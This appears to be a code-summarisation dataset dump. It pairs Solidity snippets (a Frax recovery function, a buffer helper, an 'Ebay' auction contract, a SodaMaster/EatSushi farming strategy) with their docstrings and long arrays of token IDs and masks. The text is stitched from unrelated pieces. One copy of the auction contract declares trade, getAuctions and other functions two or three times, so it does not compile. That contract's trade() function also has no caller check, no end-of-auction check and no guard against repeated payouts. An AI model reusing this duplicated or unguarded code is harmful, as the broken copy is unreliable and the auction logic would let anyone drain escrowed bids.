support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnGov { // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } /* ========== EVENTS ========== */ event AMOAdded(address amo_address); event AMORemoved(address amo_address); event RecoveredERC20(address token, uint256 amount); event FPIMinted(uint256 frax_in, uint256 fpi_out); event FPIRedeemed(uint256 fpi_in, uint256 frax_out); event TWAMMedToPeg(uint256 order_id, uint256 frax_amt, uint256 fpi_amt, uint256 timestamp); }
* @dev Initializes a new buffer from an existing bytes object. Changes to the buffer may mutate the original value. @param b The bytes object to initialize the buffer with. @return A new buffer./
function fromBytes(bytes memory b) internal pure returns (buffer memory) { buffer memory buf; buf.buf = b; buf.capacity = b.length; return buf; }
1,301,030
[ 1, 9685, 279, 394, 1613, 628, 392, 2062, 1731, 733, 18, 1377, 17776, 358, 326, 1613, 2026, 15887, 326, 2282, 460, 18, 225, 324, 1021, 1731, 733, 358, 4046, 326, 1613, 598, 18, 327, 432, 394, 1613, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 628, 2160, 12, 3890, 3778, 324, 13, 2713, 16618, 1135, 261, 4106, 3778, 13, 288, 203, 565, 1613, 3778, 1681, 31, 203, 565, 1681, 18, 4385, 273, 324, 31, 203, 565, 1681, 18, 16017, 273, 324, 18, 2469, 31, 203, 565, 327, 1681, 31, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; pragma experimental ABIEncoderV2; contract Ebay { //1. Allow seller to create auctions //2. Allow buyers make offer for an auctions //3. Allow seller and buyers to trade at the end of an auction //4. Create some getter functions for auctions and offers struct Auction { uint id; address payable seller; string name; string description; uint min; uint end; uint bestOfferId; uint bestOffer; uint[] offerIds; } struct Offer { uint id; uint auctionId; address payable buyer; uint price; } mapping(uint => Auction) public auctions; mapping(uint => Offer) private offers; mapping(address => uint[]) private userAuctions; mapping(address => uint[]) private userOffers; uint private nextAuctionId = 1; uint private nextOfferId = 1; function createAuction( string calldata _name, string calldata _description, uint _min, uint _duration) external { require(_min > 0, '_min must be > 0'); require(_duration > 86400 && _duration < 864000, '_duration must be comprised between 1 to 10 days'); uint[] memory offerIds = new uint[](0); auctions[nextAuctionId] = Auction( nextAuctionId, msg.sender, _name, _description, _min, now + _duration, 0, 0, offerIds ); userAuctions[msg.sender].push(nextAuctionId); nextAuctionId++; } function createOffer(uint _auctionId) external payable auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; require(now < auction.end, 'Auction has expired'); require(msg.value >= auction.min && msg.value > bestOffer.price, 'msg.value must be superior to min and bestOffer'); auction.bestOfferId = nextOfferId; auction.bestOffer = msg.value; auction.offerIds.push(nextOfferId); offers[nextOfferId] = Offer(nextOfferId, _auctionId, msg.sender, msg.value); userOffers[msg.sender].push(nextOfferId); nextOfferId++; } function trade(uint _auctionId) external auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; for(uint i = 0; i < auction.offerIds.length; i++) { uint offerId = auction.offerIds[i]; if(offerId != auction.bestOfferId) { Offer storage offer = offers[offerId]; offer.buyer.transfer(offer.price); } } auction.seller.transfer(bestOffer.price); } function getAuctions() view external returns(Auction[] memory) { Auction[] memory _auctions = new Auction[](nextAuctionId - 1); for(uint i = 1; i < nextAuctionId; i++) { _auctions[i-1] = auctions[i]; } return _auctions; } function getUserAuctions(address _user) view external returns(Auction[] memory) { uint[] storage userAuctionIds = userAuctions[_user]; Auction[] memory _auctions = new Auction[](userAuctionIds.length); for(uint i = 0; i < userAuctionIds.length; i++) { uint auctionId = userAuctionIds[i]; _auctions[i] = auctions[auctionId]; } return _auctions; } function getUserOffers(address _user) view external returns(Offer[] memory) { uint[] storage userOfferIds = userOffers[_user]; Offer[] memory _offers = new Offer[](userOfferIds.length); for(uint i = 0; i < userOfferIds.length; i++) { uint offerId = userOfferIds[i]; _offers[i] = offers[offerId]; } return _offers; } modifier auctionExists(uint _auctionId) { require(_auctionId > 0 && _auctionId < nextAuctionId, 'Auction does not exist'); _; } }
1. Allow seller to create auctions2. Allow buyers make offer for an auctions3. Allow seller and buyers to trade at the end of an auction4. Create some getter functions for auctions and offers
contract Ebay { struct Auction { uint id; address payable seller; string name; string description; uint min; uint end; uint bestOfferId; uint bestOffer; uint[] offerIds; } struct Offer { uint id; uint auctionId; address payable buyer; uint price; } mapping(uint => Auction) public auctions; mapping(uint => Offer) private offers; mapping(address => uint[]) private userAuctions; mapping(address => uint[]) private userOffers; uint private nextAuctionId = 1; uint private nextOfferId = 1; function createAuction( string calldata _name, string calldata _description, uint _min, uint _duration) external { require(_min > 0, '_min must be > 0'); require(_duration > 86400 && _duration < 864000, '_duration must be comprised between 1 to 10 days'); uint[] memory offerIds = new uint[](0); auctions[nextAuctionId] = Auction( nextAuctionId, msg.sender, _name, _description, _min, now + _duration, 0, 0, offerIds ); userAuctions[msg.sender].push(nextAuctionId); nextAuctionId++; } function createOffer(uint _auctionId) external payable auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; require(now < auction.end, 'Auction has expired'); require(msg.value >= auction.min && msg.value > bestOffer.price, 'msg.value must be superior to min and bestOffer'); auction.bestOfferId = nextOfferId; auction.bestOffer = msg.value; auction.offerIds.push(nextOfferId); offers[nextOfferId] = Offer(nextOfferId, _auctionId, msg.sender, msg.value); userOffers[msg.sender].push(nextOfferId); nextOfferId++; } function trade(uint _auctionId) external auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; for(uint i = 0; i < auction.offerIds.length; i++) { uint offerId = auction.offerIds[i]; if(offerId != auction.bestOfferId) { Offer storage offer = offers[offerId]; offer.buyer.transfer(offer.price); } } auction.seller.transfer(bestOffer.price); } function trade(uint _auctionId) external auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; for(uint i = 0; i < auction.offerIds.length; i++) { uint offerId = auction.offerIds[i]; if(offerId != auction.bestOfferId) { Offer storage offer = offers[offerId]; offer.buyer.transfer(offer.price); } } auction.seller.transfer(bestOffer.price); } function trade(uint _auctionId) external auctionExists(_auctionId) { Auction storage auction = auctions[_auctionId]; Offer storage bestOffer = offers[auction.bestOfferId]; for(uint i = 0; i < auction.offerIds.length; i++) { uint offerId = auction.offerIds[i]; if(offerId != auction.bestOfferId) { Offer storage offer = offers[offerId]; offer.buyer.transfer(offer.price); } } auction.seller.transfer(bestOffer.price); } function getAuctions() view external returns(Auction[] memory) { Auction[] memory _auctions = new Auction[](nextAuctionId - 1); for(uint i = 1; i < nextAuctionId; i++) { _auctions[i-1] = auctions[i]; } return _auctions; } function getAuctions() view external returns(Auction[] memory) { Auction[] memory _auctions = new Auction[](nextAuctionId - 1); for(uint i = 1; i < nextAuctionId; i++) { _auctions[i-1] = auctions[i]; } return _auctions; } function getUserAuctions(address _user) view external returns(Auction[] memory) { uint[] storage userAuctionIds = userAuctions[_user]; Auction[] memory _auctions = new Auction[](userAuctionIds.length); for(uint i = 0; i < userAuctionIds.length; i++) { uint auctionId = userAuctionIds[i]; _auctions[i] = auctions[auctionId]; } return _auctions; } function getUserAuctions(address _user) view external returns(Auction[] memory) { uint[] storage userAuctionIds = userAuctions[_user]; Auction[] memory _auctions = new Auction[](userAuctionIds.length); for(uint i = 0; i < userAuctionIds.length; i++) { uint auctionId = userAuctionIds[i]; _auctions[i] = auctions[auctionId]; } return _auctions; } function getUserOffers(address _user) view external returns(Offer[] memory) { uint[] storage userOfferIds = userOffers[_user]; Offer[] memory _offers = new Offer[](userOfferIds.length); for(uint i = 0; i < userOfferIds.length; i++) { uint offerId = userOfferIds[i]; _offers[i] = offers[offerId]; } return _offers; } function getUserOffers(address _user) view external returns(Offer[] memory) { uint[] storage userOfferIds = userOffers[_user]; Offer[] memory _offers = new Offer[](userOfferIds.length); for(uint i = 0; i < userOfferIds.length; i++) { uint offerId = userOfferIds[i]; _offers[i] = offers[offerId]; } return _offers; } modifier auctionExists(uint _auctionId) { require(_auctionId > 0 && _auctionId < nextAuctionId, 'Auction does not exist'); _; } }
6,451,940
[ 1, 21, 18, 7852, 29804, 358, 752, 279, 4062, 87, 22, 18, 7852, 30143, 414, 1221, 10067, 364, 392, 279, 4062, 87, 23, 18, 7852, 29804, 471, 30143, 414, 358, 18542, 622, 326, 679, 434, 392, 279, 4062, 24, 18, 1788, 2690, 7060, 4186, 364, 279, 4062, 87, 471, 28641, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 512, 70, 528, 288, 203, 377, 203, 565, 1958, 432, 4062, 288, 203, 3639, 2254, 612, 31, 203, 3639, 1758, 8843, 429, 29804, 31, 203, 3639, 533, 508, 31, 203, 3639, 533, 2477, 31, 203, 3639, 2254, 1131, 31, 203, 3639, 2254, 679, 31, 203, 3639, 2254, 3796, 10513, 548, 31, 203, 3639, 2254, 3796, 10513, 31, 203, 3639, 2254, 8526, 10067, 2673, 31, 203, 565, 289, 203, 377, 203, 565, 1958, 25753, 288, 203, 3639, 2254, 612, 31, 203, 3639, 2254, 279, 4062, 548, 31, 203, 3639, 1758, 8843, 429, 27037, 31, 203, 3639, 2254, 6205, 31, 203, 565, 289, 203, 565, 2874, 12, 11890, 516, 432, 4062, 13, 1071, 279, 4062, 87, 31, 203, 565, 2874, 12, 11890, 516, 25753, 13, 3238, 28641, 31, 203, 565, 2874, 12, 2867, 516, 2254, 63, 5717, 3238, 729, 37, 4062, 87, 31, 203, 565, 2874, 12, 2867, 516, 2254, 63, 5717, 3238, 729, 7210, 414, 31, 203, 565, 2254, 3238, 1024, 37, 4062, 548, 273, 404, 31, 203, 565, 2254, 3238, 1024, 10513, 548, 273, 404, 31, 203, 377, 203, 565, 445, 752, 37, 4062, 12, 203, 3639, 533, 745, 892, 389, 529, 16, 203, 3639, 533, 745, 892, 389, 3384, 16, 203, 3639, 2254, 389, 1154, 16, 203, 3639, 2254, 389, 8760, 13, 203, 3639, 3903, 288, 203, 3639, 2583, 24899, 1154, 405, 374, 16, 2070, 1154, 1297, 506, 405, 374, 8284, 203, 3639, 2583, 24899, 8760, 405, 21451, 597, 389, 8760, 411, 19663, 3784, 16, 2070, 8760, 1297, 506, 532, 683, 5918, 2 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.6.12; // File: @openzeppelin/contracts/math/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/GSN/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: @openzeppelin/contracts/token/ERC20/IERC20.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/strategies/IStrategy.sol // Assume the strategy generates `TOKEN`. interface IStrategy { function approve(IERC20 _token) external; function getValuePerShare(address _vault) external view returns(uint256); function pendingValuePerShare(address _vault) external view returns (uint256); // Deposit tokens to a farm to yield more tokens. function deposit(address _vault, uint256 _amount) external; // Claim the profit from a farm. function claim(address _vault) external; // Withdraw the principal from a farm. function withdraw(address _vault, uint256 _amount) external; // Target farming token of this strategy. function getTargetToken() external view returns(address); } // File: contracts/SodaMaster.sol /* Here we have a list of constants. In order to get access to an address managed by SodaMaster, the calling contract should copy and define some of these constants and use them as keys. Keys themselves are immutable. Addresses can be immutable or mutable. a) Vault addresses are immutable once set, and the list may grow: K_VAULT_WETH = 0; K_VAULT_USDT_ETH_SUSHI_LP = 1; K_VAULT_SOETH_ETH_UNI_V2_LP = 2; K_VAULT_SODA_ETH_UNI_V2_LP = 3; K_VAULT_GT = 4; K_VAULT_GT_ETH_UNI_V2_LP = 5; b) SodaMade token addresses are immutable once set, and the list may grow: K_MADE_SOETH = 0; c) Strategy addresses are mutable: K_STRATEGY_CREATE_SODA = 0; K_STRATEGY_EAT_SUSHI = 1; K_STRATEGY_SHARE_REVENUE = 2; d) Calculator addresses are mutable: K_CALCULATOR_WETH = 0; Solidity doesn't allow me to define global constants, so please always make sure the key name and key value are copied as the same in different contracts. */ // SodaMaster manages the addresses all the other contracts of the system. // This contract is owned by Timelock. contract SodaMaster is Ownable { address public pool; address public bank; address public revenue; address public dev; address public soda; address public wETH; address public usdt; address public uniswapV2Factory; mapping(address => bool) public isVault; mapping(uint256 => address) public vaultByKey; mapping(address => bool) public isSodaMade; mapping(uint256 => address) public sodaMadeByKey; mapping(address => bool) public isStrategy; mapping(uint256 => address) public strategyByKey; mapping(address => bool) public isCalculator; mapping(uint256 => address) public calculatorByKey; // Immutable once set. function setPool(address _pool) external onlyOwner { require(pool == address(0)); pool = _pool; } // Immutable once set. // Bank owns all the SodaMade tokens. function setBank(address _bank) external onlyOwner { require(bank == address(0)); bank = _bank; } // Mutable in case we want to upgrade this module. function setRevenue(address _revenue) external onlyOwner { revenue = _revenue; } // Mutable in case we want to upgrade this module. function setDev(address _dev) external onlyOwner { dev = _dev; } // Mutable, in case Uniswap has changed or we want to switch to sushi. // The core systems, Pool and Bank, don't rely on Uniswap, so there is no risk. function setUniswapV2Factory(address _uniswapV2Factory) external onlyOwner { uniswapV2Factory = _uniswapV2Factory; } // Immutable once set. function setWETH(address _wETH) external onlyOwner { require(wETH == address(0)); wETH = _wETH; } // Immutable once set. Hopefully Tether is reliable. // Even if it fails, not a big deal, we only used USDT to estimate APY. function setUSDT(address _usdt) external onlyOwner { require(usdt == address(0)); usdt = _usdt; } // Immutable once set. function setSoda(address _soda) external onlyOwner { require(soda == address(0)); soda = _soda; } // Immutable once added, and you can always add more. function addVault(uint256 _key, address _vault) external onlyOwner { require(vaultByKey[_key] == address(0), "vault: key is taken"); isVault[_vault] = true; vaultByKey[_key] = _vault; } // Immutable once added, and you can always add more. function addSodaMade(uint256 _key, address _sodaMade) external onlyOwner { require(sodaMadeByKey[_key] == address(0), "sodaMade: key is taken"); isSodaMade[_sodaMade] = true; sodaMadeByKey[_key] = _sodaMade; } // Mutable and removable. function addStrategy(uint256 _key, address _strategy) external onlyOwner { isStrategy[_strategy] = true; strategyByKey[_key] = _strategy; } function removeStrategy(uint256 _key) external onlyOwner { isStrategy[strategyByKey[_key]] = false; delete strategyByKey[_key]; } // Mutable and removable. function addCalculator(uint256 _key, address _calculator) external onlyOwner { isCalculator[_calculator] = true; calculatorByKey[_key] = _calculator; } function removeCalculator(uint256 _key) external onlyOwner { isCalculator[calculatorByKey[_key]] = false; delete calculatorByKey[_key]; } } interface IMasterChef { // Deposit LP tokens to MasterChef for SUSHI allocation. function deposit(uint256 _pid, uint256 _amount) external; // Withdraw LP tokens from MasterChef. function withdraw(uint256 _pid, uint256 _amount) external; function pendingSushi(uint256 _pid, address _user) external view returns (uint256); } // This contract is owned by Timelock. // What it does is simple: deposit USDT-ETH UNI-V2 LP to sushiswap, and wait for SodaPool's command. contract EatSushi is IStrategy, Ownable { using SafeMath for uint256; uint256 constant PER_SHARE_SIZE = 1e12; IMasterChef public masterChef; SodaMaster public sodaMaster; IERC20 public sushiToken; struct PoolInfo { IERC20 lpToken; uint256 poolId; // poolId in sushi pool. } mapping(address => PoolInfo) public poolMap; // By vault. mapping(address => uint256) private valuePerShare; // By vault. // usdtETHSLPToken = "0x06da0fd433C1A5d7a4faa01111c044910A184553" // sushiToken = "0x6b3595068778dd592e39a122f4f5a5cf09c90fe2" // masterChef = "0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd" // usdtETHLPId = 0 constructor(SodaMaster _sodaMaster, IERC20 _sushiToken, IMasterChef _masterChef) public { sodaMaster = _sodaMaster; sushiToken = _sushiToken; masterChef = _masterChef; // Approve all. sushiToken.approve(sodaMaster.pool(), type(uint256).max); } function approve(IERC20 _token) external override onlyOwner { _token.approve(sodaMaster.pool(), type(uint256).max); _token.approve(address(masterChef), type(uint256).max); } function setPoolInfo( address _vault, IERC20 _lpToken, uint256 _sushiPoolId ) external onlyOwner { poolMap[_vault].lpToken = _lpToken; poolMap[_vault].poolId = _sushiPoolId; _lpToken.approve(sodaMaster.pool(), type(uint256).max); _lpToken.approve(address(masterChef), type(uint256).max); } function getValuePerShare(address _vault) external view override returns(uint256) { return valuePerShare[_vault]; } function pendingValuePerShare(address _vault) external view override returns (uint256) { uint256 shareAmount = IERC20(_vault).totalSupply(); if (shareAmount == 0) { return 0; } uint256 amount = masterChef.pendingSushi(poolMap[_vault].poolId, address(this)); return amount.mul(PER_SHARE_SIZE).div(shareAmount); } function _update(address _vault, uint256 _tokenAmountDelta) internal { uint256 shareAmount = IERC20(_vault).totalSupply(); if (shareAmount > 0) { valuePerShare[_vault] = valuePerShare[_vault].add( _tokenAmountDelta.mul(PER_SHARE_SIZE).div(shareAmount)); } } /** * @dev See {IStrategy-deposit}. */ function deposit(address _vault, uint256 _amount) public override { require(sodaMaster.isVault(msg.sender), "sender not vault"); uint256 tokenAmountBefore = sushiToken.balanceOf(address(this)); masterChef.deposit(poolMap[_vault].poolId, _amount); uint256 tokenAmountAfter = sushiToken.balanceOf(address(this)); _update(_vault, tokenAmountAfter.sub(tokenAmountBefore)); } /** * @dev See {IStrategy-claim}. */ function claim(address _vault) external override { require(sodaMaster.isVault(msg.sender), "sender not vault"); // Sushi is strage that it uses deposit to claim. deposit(_vault, 0); } /** * @dev See {IStrategy-withdraw}. */ function withdraw(address _vault, uint256 _amount) external override { require(sodaMaster.isVault(msg.sender), "sender not vault"); uint256 tokenAmountBefore = sushiToken.balanceOf(address(this)); masterChef.withdraw(poolMap[_vault].poolId, _amount); uint256 tokenAmountAfter = sushiToken.balanceOf(address(this)); _update(_vault, tokenAmountAfter.sub(tokenAmountBefore)); } /** * @dev See {IStrategy-getTargetToken}. */ function getTargetToken() external view override returns(address) { return address(sushiToken); } }
Assume the strategy generates `TOKEN`. Deposit tokens to a farm to yield more tokens. Claim the profit from a farm. Withdraw the principal from a farm. Target farming token of this strategy.
interface IStrategy { function approve(IERC20 _token) external; function getValuePerShare(address _vault) external view returns(uint256); function pendingValuePerShare(address _vault) external view returns (uint256); function deposit(address _vault, uint256 _amount) external; function claim(address _vault) external; function withdraw(address _vault, uint256 _amount) external; function getTargetToken() external view returns(address); } }
1,600,851
